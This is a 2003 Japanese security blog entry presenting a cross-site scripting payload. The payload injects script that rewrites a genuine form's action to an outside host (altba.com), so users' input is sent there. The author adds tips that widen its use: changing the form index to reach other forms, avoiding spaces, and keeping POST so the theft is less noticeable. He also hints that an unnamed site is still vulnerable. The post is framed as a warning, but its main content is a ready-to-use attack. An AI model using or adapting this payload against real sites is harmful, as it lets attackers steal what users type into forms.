水無月ばけらのえび日記

bakera.jp > 水無月ばけらのえび日記 > DOM万歳(XSS大王つづき)

DOM万歳(XSS大王つづき)

2003年6月24日(火曜日)

DOM万歳(XSS大王つづき)

いろいろいじっていて、こういう exploit を思いつきました。

"><script>document.getElementsByTagName("form")[1].setAttribute("action","http://altba.com");document.getElementsByTagName("form")[1].setAttribute("method","get")</script><span

フォームは本物なのですが、その送り先だけを DOM なスクリプトで改竄するという荒技です。method は書き換えなくても良いのですが、http://altba.com/ が GET しか受け付けないのでこうしてみました。あとは GET にすると入力値が URL として表示されますので、漏洩していることがわかりやすいというメリットもあります。もちろん、実際の犯行時は POST のままの方がバレにくいです。

……こんなのが何処で使えるのかはいちおうナイショにしておきますが、要するにまだ残っているということです。

※というか、実は office さんに教えてもらったところだったり……。

これの良いところ (!?) は、他の脆弱なフォームにも応用が利いてしまうという点です。ターゲットの form の場所に応じて [1] を [0] にしたりするだけで、ほとんどのフォームに応用できます。普通のフォーム捏造だと本物を隠したりするのが面倒だったりするのですが、これならその心配全くなし。文字列の中に空白が含まれていないのもポイント高いです。ただし DOM に対応していないブラウザだとか、スクリプト無効環境では効果がないのが難点ではあります。

……まあ、ちょっと悪ふざけが過ぎる感じもしますが、「こんなこともできてしまうので警戒しましょうね」ということでひとつ。

関連する話題: Web / セキュリティ / ニフティ / XSS大王 / DOM

最近の日記

関わった本など

インクルーシブHTML+CSS & JavaScript 多様なユーザーニーズに応えるフロントエンドデザインパターンデザイニングWebアクセシビリティ - アクセシブルな設計やコンテンツ制作のアプローチコーディングWebアクセシビリティ - WAI-ARIAで実現するマルチデバイス環境のWebアプリケーションウェブの仕事力が上がる標準ガイドブック 5 WebプログラミングWeb Site Expert #13Dreamweaver プロフェッショナル・スタイル [CS3対応] (Style for professional)

その他サイト